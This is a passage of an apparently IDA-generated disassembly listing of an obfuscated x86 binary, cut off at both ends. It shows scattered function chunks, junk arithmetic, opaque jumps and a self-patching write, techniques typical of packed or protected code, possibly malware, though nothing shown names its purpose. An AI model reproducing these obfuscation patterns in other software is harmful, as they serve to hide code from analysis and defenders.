FUNCTION CHUNK FOR sub_1001725E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_100179DF: ; CODE XREF: sub_1001A6F7:loc_1001DA8Dj mov eax, [ebp-4] mov al, [eax] js loc_100159EC sub al, 99h push offset sub_100178C9 jmp loc_100181A0 ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_100179F6: ; CODE XREF: sub_10015BFC+1AC4j mov edx, edi test edi, ebp jmp loc_10018711 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- loc_100179FF: ; DATA XREF: sub_1001A024-91Ao add eax, 6C1C9064h mov eax, [eax] mov al, [eax] jnb loc_100145DE jmp loc_10016E7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10017A14: ; CODE XREF: sub_10015E0D-23EFj add edx, 7BAED814h pop esi or edx, edi jo loc_100165E4 loc_10017A23: ; CODE XREF: sub_10015E0D-23FAj or esi, 419740B8h test esi, 10000h jmp loc_10015061 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; =============== S U B R O U T I N E ======================================= sub_10017A34 proc near ; DATA XREF: sub_100188EE-4249o ; FUNCTION CHUNK AT 10019F48 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B07E SIZE 00000007 BYTES or ecx, ecx jz loc_10018866 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_10018866 call sub_10018B90 jnz loc_10018866 jmp loc_10019F48 sub_10017A34 endp ; =============== S U B R O U T I N E ======================================= sub_10017A58 proc near ; CODE XREF: an.kk9rg:1001928Ej ; sub_1001C185+Dp ; FUNCTION CHUNK AT 100130A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100152DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100157CB SIZE 00000019 BYTES ; FUNCTION CHUNK AT 100157F8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10015F5F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001609C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10016115 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018185 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100181DC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018706 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001883A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10018F78 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 100192CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A488 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001AA7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AD55 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C9B6 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001CB1A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CCE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D08F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D5D7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001DC6B SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-4] mov al, [eax] jz loc_10018F78 sub al, 99h jmp loc_1001CCE8 sub_10017A58 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10017A6E: ; CODE XREF: sub_100142E8:loc_10019A0Ej jnz loc_10014354 inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_1001BCAC[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_10013161 jmp loc_1001436E ; END OF FUNCTION CHUNK FOR sub_100142E8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017A94: ; CODE XREF: sub_10013389+A8DCj jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10017A99: ; CODE XREF: sub_100193F2-20C0j mov eax, [ebp-4] mov al, [eax] sub al, 99h mov edx, [ebp-4] jmp loc_1001C7FB ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_10017AA8: ; CODE XREF: sub_10017394:loc_1001CBCAj rol edx, 1Dh jb loc_10018589 push 47820D41h adc edi, 849AC2C4h jmp loc_10018583 ; END OF FUNCTION CHUNK FOR sub_10017394 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_10017AC2: ; CODE XREF: sub_10018E79+3285j jmp loc_100184DD ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017AC7: ; CODE XREF: sub_10013389+124Aj ; sub_10013999+1D74j jmp loc_1001B29D ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- locret_10017ACC: ; CODE XREF: an.kk9rg:loc_1001541Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_10017ACD: ; CODE XREF: sub_10018C4D-1B96j jmp loc_1001AED7 ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- loc_10017AD2: ; CODE XREF: an.kk9rg:loc_10014A54j jnz loc_1001D15E jmp loc_1001DE9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_10017ADD: ; CODE XREF: sub_10013044+3E26j jp loc_10017DA2 mov ecx, edx sbb ebx, ebp loc_10017AE7: ; CODE XREF: sub_10013044:loc_100137CAj mov eax, [ebp-4] jmp loc_1001C67A ; END OF FUNCTION CHUNK FOR sub_10013044 ; =============== S U B R O U T I N E ======================================= sub_10017AEF proc near ; DATA XREF: an.kk9rg:1001908Ao mov eax, [eax+0Ch] sub_10017AEF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10017AF2: ; CODE XREF: sub_1001B943:loc_1001669Fj ; sub_1001564A:loc_10018E03j jb loc_100155D5 mov ebx, [eax+18h] mov ecx, [ebx+3Ch] push offset loc_100168A0 loc_10017B03: ; CODE XREF: an.kk9rg:loc_1001568Aj jmp loc_1001969A ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- loc_10017B08: ; CODE XREF: an.kk9rg:10015A82j push offset sub_10015353 jmp loc_1001D74C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10017B13: ; CODE XREF: sub_1001B5A3-7B0j adc ebp, 77135C14h mov eax, 12DACAD3h jmp loc_10016F60 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_10017B23: ; CODE XREF: sub_1001701B:loc_10016362j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10016F60 jmp loc_100137CA ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- loc_10017B37: ; CODE XREF: an.kk9rg:100138A7j ja loc_1001AD10 popf test edx, 2EE57E41h jmp loc_10019229 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018B4A loc_10017B49: ; CODE XREF: sub_10018B4A+3EF1j and edi, 0E15B0024h xor edi, 0DCA5286h add edi, ebp add edi, 122EAD5Ah mov [edi], eax jmp loc_10015B04 ; END OF FUNCTION CHUNK FOR sub_10018B4A ; --------------------------------------------------------------------------- loc_10017B64: ; CODE XREF: an.kk9rg:10015E85j jno loc_10014F69 test esi, 5B0CBA6Fh jmp loc_10017D80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_10017B75: ; CODE XREF: sub_1001C26A:loc_10015CD5j or eax, eax jnz loc_1001B310 jmp loc_10019223 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D37F loc_10017B83: ; CODE XREF: sub_1001D37F+Ej jmp loc_1001D663 ; END OF FUNCTION CHUNK FOR sub_1001D37F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_10017B88: ; CODE XREF: sub_1001C2A9+16j jmp loc_1001B15C ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015712 loc_10017B8D: ; CODE XREF: sub_10015712+Bj jmp loc_1001BA77 ; END OF FUNCTION CHUNK FOR sub_10015712 ; --------------------------------------------------------------------------- loc_10017B92: ; CODE XREF: an.kk9rg:loc_10017259j sub edi, 0D2A19E87h and edi, 0A396D1Bh xor edi, 84507h xchg edi, [esp] loc_10017BA7: ; CODE XREF: an.kk9rg:loc_1001631Bj lea eax, [ebp-34h] push eax push 0AEBA268Ch pop eax jmp loc_10015699 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017E49 loc_10017BB6: ; CODE XREF: sub_10017E49:loc_10013A5Aj mov ebp, esp push offset loc_10017564 jmp nullsub_26 ; END OF FUNCTION CHUNK FOR sub_10017E49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB87 loc_10017BC2: ; CODE XREF: sub_1001BB87-48C9j xor edx, ebp adc ebp, 253FD7E4h jmp loc_1001C7EE ; END OF FUNCTION CHUNK FOR sub_1001BB87 ; --------------------------------------------------------------------------- loc_10017BCF: ; CODE XREF: an.kk9rg:100153E2j jle loc_1001C466 push edi loc_10017BD6: ; CODE XREF: an.kk9rg:100153CDj xor eax, 8AED41B1h add eax, 256E1362h add eax, ebp add eax, 19ACABA1h call sub_10015E3A loc_10017BEF: ; CODE XREF: an.kk9rg:1001CF04j jmp loc_1001AEAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018B4A loc_10017BF4: ; CODE XREF: sub_10018B4A+Cj jmp loc_1001CA28 ; END OF FUNCTION CHUNK FOR sub_10018B4A ; =============== S U B R O U T I N E ======================================= sub_10017BF9 proc near ; CODE XREF: an.kk9rg:10015CD0p ; an.kk9rg:100197EAj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10014234 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10014C67 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10014D82 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 100160AE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10017E9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019A60 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 1001A3EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A740 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A769 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A77E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A872 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001B749 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B754 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001D481 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx xchg eax, [esp-4+arg_0] mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jmp loc_1001B749 sub_10017BF9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10017C0D: ; CODE XREF: an.kk9rg:100169DFj js loc_1001565D not ebp ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_10017C15: ; CODE XREF: sub_10016A1B:loc_100169C7j call sub_1001C27D loc_10017C1A: ; CODE XREF: sub_10016D04+6FD2j jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CCDE loc_10017C1F: ; CODE XREF: sub_1001CCDE+4j jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_1001CCDE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017C24: ; CODE XREF: sub_10013389+903Bj jmp loc_100170FC ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_10017C29: ; CODE XREF: sub_10015D9E+8j jmp loc_1001607A ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10017C2E: ; CODE XREF: sub_1001A97E:loc_10017304j ; sub_1001C535:loc_1001B730j jno loc_10018CC3 add edx, 3872E116h jmp loc_1001916D ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- shr eax, 1Bh jmp sub_10014E66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ACA5 loc_10017C47: ; CODE XREF: sub_1001ACA5+Fj jge loc_1001DDF5 xchg ebp, [ebx] mov edi, esi jmp loc_1001DDEE ; END OF FUNCTION CHUNK FOR sub_1001ACA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10017C56: ; CODE XREF: sub_10019571-4944j jl loc_1001A5D2 mov ebp, 5558D398h rol eax, 5 loc_10017C64: ; CODE XREF: sub_10019571:loc_1001D6DCj call sub_100180C2 mov edx, 95918C9Dh jmp loc_100188D0 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- locret_10017C73: ; CODE XREF: an.kk9rg:loc_1001A3EFj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DC8F loc_10017C74: ; CODE XREF: sub_1001DC8F+Ej jmp loc_10013489 ; END OF FUNCTION CHUNK FOR sub_1001DC8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_10017C79: ; CODE XREF: sub_100130C7+3128j jmp loc_1001D043 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10017C7F: ; CODE XREF: sub_1001893F+150Aj jmp loc_1001AB7A ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016FD0 loc_10017C84: ; CODE XREF: sub_10016FD0+9j jmp loc_100172A2 ; END OF FUNCTION CHUNK FOR sub_10016FD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D88D loc_10017C89: ; CODE XREF: sub_1001D88D-9772j jno loc_1001D229 sub edx, edi ; END OF FUNCTION CHUNK FOR sub_1001D88D ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10017C91: ; CODE XREF: sub_10016734:loc_10015D5Fj ; sub_10015086:loc_100169A1j ... jmp loc_1001C0BB ; --------------------------------------------------------------------------- loc_10017C96: ; CODE XREF: sub_10016734-2C1Bj ; sub_10016734+511Cj pop ecx xchg eax, [esp-8+arg_4] mov ebp, eax pop eax jmp nullsub_84 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- push eax jmp loc_10018F26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10017CA8: ; CODE XREF: sub_10016734+6A15j jns loc_10013424 cmp ecx, 0D15B4459h jmp loc_10013B0D ; END OF FUNCTION CHUNK FOR sub_10016734 ; =============== S U B R O U T I N E ======================================= sub_10017CB9 proc near ; CODE XREF: sub_10017174j ; DATA XREF: sub_10015743+1A27o ; FUNCTION CHUNK AT 10016AF0 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001797C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018CB6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100192B6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001A245 SIZE 0000001C BYTES mov [edi], eax pop edi pushf push 2A8DB1C5h pop eax jmp loc_1001797C sub_10017CB9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10017CC8: ; CODE XREF: sub_1001893F+2243j jnb loc_1001917C sub eax, 0D307A48Ch push ecx not ebp loc_10017CD7: ; CODE XREF: sub_1001893F:loc_10019E43j mov eax, [ebp-4] push offset sub_1001A12F jmp nullsub_208 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_10017CE4: ; DATA XREF: sub_1001C26A:loc_10013875o call sub_100180C2 call sub_1001D392 loc_10017CEE: ; CODE XREF: an.kk9rg:10013972j jmp loc_10019179 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10017CF3: ; CODE XREF: sub_1001CF40:loc_1001CC85j push 1C9FD34Bh ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; =============== S U B R O U T I N E ======================================= sub_10017CF8 proc near ; CODE XREF: sub_10015C14+Ep ; FUNCTION CHUNK AT 1001381E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013A97 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100164EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001680C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001754F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AFD8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B893 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C0AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CFA1 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx cmp al, 0A4h jz loc_1001754F jmp loc_1001C0AC sub_10017CF8 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10017D0A: ; CODE XREF: sub_10016D66+4ECBj xor eax, 621036AFh call sub_10016B29 mov [ebp-8], eax push 400h jmp loc_1001A360 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100183B7 loc_10017D22: ; CODE XREF: sub_100183B7:loc_100183C1j mov ebp, esp mov esp, ebp call sub_100183B7 loc_10017D2B: ; CODE XREF: sub_1001AB5B+6j jmp loc_1001AB05 ; END OF FUNCTION CHUNK FOR sub_100183B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015964 loc_10017D30: ; CODE XREF: sub_10015964-E93j push ecx mov ecx, edx xchg ecx, [esp+8+var_8] push 8A93F924h pop edx ; END OF FUNCTION CHUNK FOR sub_10015964 ; START OF FUNCTION CHUNK FOR sub_10015086 loc_10017D3C: ; CODE XREF: sub_10015086:loc_1001699Bj rol edx, 8 xor edx, 0F0EBFC5Bh jmp loc_10015DFD ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10017D4A: ; CODE XREF: sub_1001C28F+15j sub edi, 964D1943h xor edi, 0C9013E80h xchg edi, [esp+0] jmp loc_10019DBB ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_10017D5E: ; CODE XREF: sub_1001BC80:loc_1001C986j push offset sub_10015066 jmp nullsub_135 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001725E loc_10017D68: ; CODE XREF: sub_1001725E:loc_1001D2C0j xchg ecx, [esp-4+arg_0] call sub_100188BE mov eax, 11C9A2C5h push eax push 2BEF2C40h jmp loc_10015FD8 ; END OF FUNCTION CHUNK FOR sub_1001725E ; --------------------------------------------------------------------------- loc_10017D80: ; CODE XREF: an.kk9rg:10017B70j jz loc_1001341F ; =============== S U B R O U T I N E ======================================= sub_10017D86 proc near ; CODE XREF: sub_1001893F-4E46p ; FUNCTION CHUNK AT 1001493D SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10015309 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100162E0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016BD7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001784B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019518 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CFC1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001D034 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx cmp al, 0A4h jz loc_10016E52 jmp loc_1001D034 sub_10017D86 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100138FD loc_10017D97: ; CODE XREF: sub_100138FD:loc_10018B1Cj pop ebp jmp loc_10015934 ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10017D9D: ; CODE XREF: sub_1001ABFD:loc_1001CBCFj push offset loc_1001C209 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; START OF FUNCTION CHUNK FOR sub_10013044 loc_10017DA2: ; CODE XREF: sub_10013044:loc_10017ADDj jmp nullsub_122 ; END OF FUNCTION CHUNK FOR sub_10013044 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10017DA7: ; CODE XREF: sub_100136D7:loc_1001A63Cj add eax, 7C2A7F85h push esi call sub_10019771 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10017DB3: ; CODE XREF: sub_10019E2E-1CAEj jmp loc_1001C87B ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- loc_10017DB8: ; CODE XREF: an.kk9rg:100183F2j jmp ds:off_1000200C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C34 loc_10017DBE: ; CODE XREF: sub_10019C34+7j jmp loc_1001C3C9 ; END OF FUNCTION CHUNK FOR sub_10019C34 ; =============== S U B R O U T I N E ======================================= sub_10017DC3 proc near ; CODE XREF: sub_10016532-1D88j ; sub_100162B7+9j ... ; FUNCTION CHUNK AT 100162C5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016DD0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001D817 SIZE 00000005 BYTES jnb loc_100162C5 pop edx mov eax, [esp+0] loc_10017DCD: ; CODE XREF: sub_10013389:loc_100145CDj push edx jmp loc_10016DD0 sub_10017DC3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10017DD3: ; CODE XREF: an.kk9rg:loc_10014F49j ; an.kk9rg:loc_100199D2j call sub_1001D467 loc_10017DD8: ; CODE XREF: an.kk9rg:10013329j call sub_100145ED ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CEDD loc_10017DDE: ; CODE XREF: sub_1001CEDD-332Cj jmp loc_100171DF ; END OF FUNCTION CHUNK FOR sub_1001CEDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ACEF loc_10017DE3: ; CODE XREF: sub_1001ACEF:loc_10018493j movzx eax, byte ptr [eax] mov edx, [ebp+arg_0] mov [edx-10h], eax inc [ebp+var_4] jmp loc_100133D9 ; END OF FUNCTION CHUNK FOR sub_1001ACEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015402 loc_10017DF4: ; CODE XREF: sub_10015402+Cj xchg edi, [esp+0] mov edx, eax call sub_10015FC7 ; END OF FUNCTION CHUNK FOR sub_10015402 ; START OF FUNCTION CHUNK FOR sub_1001A2CC loc_10017DFE: ; CODE XREF: sub_1001A2CC-3942j xor ebx, 0C49CA9A0h cdq jmp loc_100132DD ; END OF FUNCTION CHUNK FOR sub_1001A2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017E0A: ; CODE XREF: sub_10013389+3D79j jz loc_100148BA test edi, ebx jmp loc_100133F0 ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001985B loc_10017E18: ; CODE XREF: sub_1001985B-2E0Aj jmp nullsub_200 ; END OF FUNCTION CHUNK FOR sub_1001985B ; --------------------------------------------------------------------------- loc_10017E1D: ; DATA XREF: sub_10016E8B+Ao mov eax, [eax] cdq add eax, [esp] push offset sub_10013916 jmp loc_10017057 ; --------------------------------------------------------------------------- xchg edx, ebp jmp loc_1001C353 ; --------------------------------------------------------------------------- mov edx, 0D504D785h call sub_1001534D push eax ror eax, 10h mov ds:dword_1001D740, eax retn ; =============== S U B R O U T I N E ======================================= sub_10017E49 proc near ; CODE XREF: sub_10015BFCj ; FUNCTION CHUNK AT 10013A5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017BB6 SIZE 0000000C BYTES push ebp jmp loc_10013A5A sub_10017E49 endp ; --------------------------------------------------------------------------- mov ds:off_10002018, eax lea eax, sub_100177EF mov byte ptr [eax], 0C3h jmp loc_100139CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_10017E63: ; CODE XREF: sub_1001701B:loc_1001D8EDj mov eax, [esp+0] jmp loc_10014827 ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10017E6B: ; CODE XREF: sub_10016D66-26EDj ; sub_10016D66+16j xor ecx, 0B0F00FCFh add ecx, 1C0D1CB8h call sub_10019C1D loc_10017E7C: ; CODE XREF: sub_100137D6+11j jmp loc_100155FB ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001853F loc_10017E81: ; CODE XREF: sub_1001853F+12j mov eax, [ebp-4] inc eax mov eax, [eax] add eax, [ebp-4] ; END OF FUNCTION CHUNK FOR sub_1001853F ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_10017E8A: ; CODE XREF: sub_10016A1B+37A6j add eax, 5 cmp eax, ds:dword_1001BC9C push offset loc_100139B6 jmp loc_1001CCCF ; END OF FUNCTION CHUNK FOR sub_10016A1B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_10017E9E: ; CODE XREF: sub_10017BF9+3B6Ej jmp loc_1001A77E ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A31 loc_10017EA3: ; CODE XREF: sub_10018A31:loc_1001B978j and esi, 368BBB15h sub esi, 0F3E92159h add esi, 0D3E81061h mov [esi], eax xchg eax, [esp+0] jmp loc_1001B306 ; END OF FUNCTION CHUNK FOR sub_10018A31 ; --------------------------------------------------------------------------- locret_10017EBF: ; CODE XREF: an.kk9rg:10018122j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_10017EC0: ; CODE XREF: sub_10015C14+8172j jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_10015C14 ; --------------------------------------------------------------------------- loc_10017EC5: ; CODE XREF: an.kk9rg:10018B73j jmp loc_10013316 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_10017ECA: ; CODE XREF: sub_1001A54C:loc_10016CCAj mov eax, ds:dword_10018608 or eax, eax jnz loc_1001D499 jmp loc_1001D27C ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- mov ds:off_1000202C, eax call sub_1001A277 ; START OF FUNCTION CHUNK FOR sub_10014F93 loc_10017EE8: ; CODE XREF: sub_10014F93+6660j jmp loc_10016174 ; END OF FUNCTION CHUNK FOR sub_10014F93 ; --------------------------------------------------------------------------- locret_10017EED: ; CODE XREF: an.kk9rg:1001A80Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_10017EEE: ; CODE XREF: sub_100181E1-50B3j jmp loc_100146C7 ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001725E loc_10017EF3: ; CODE XREF: sub_1001725E:loc_10015FD8j ror eax, 18h jmp loc_10016DE7 ; END OF FUNCTION CHUNK FOR sub_1001725E ; =============== S U B R O U T I N E ======================================= sub_10017EFB proc near ; CODE XREF: an.kk9rg:100138B3j ; sub_1001D467+Ap ; FUNCTION CHUNK AT 10014C32 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 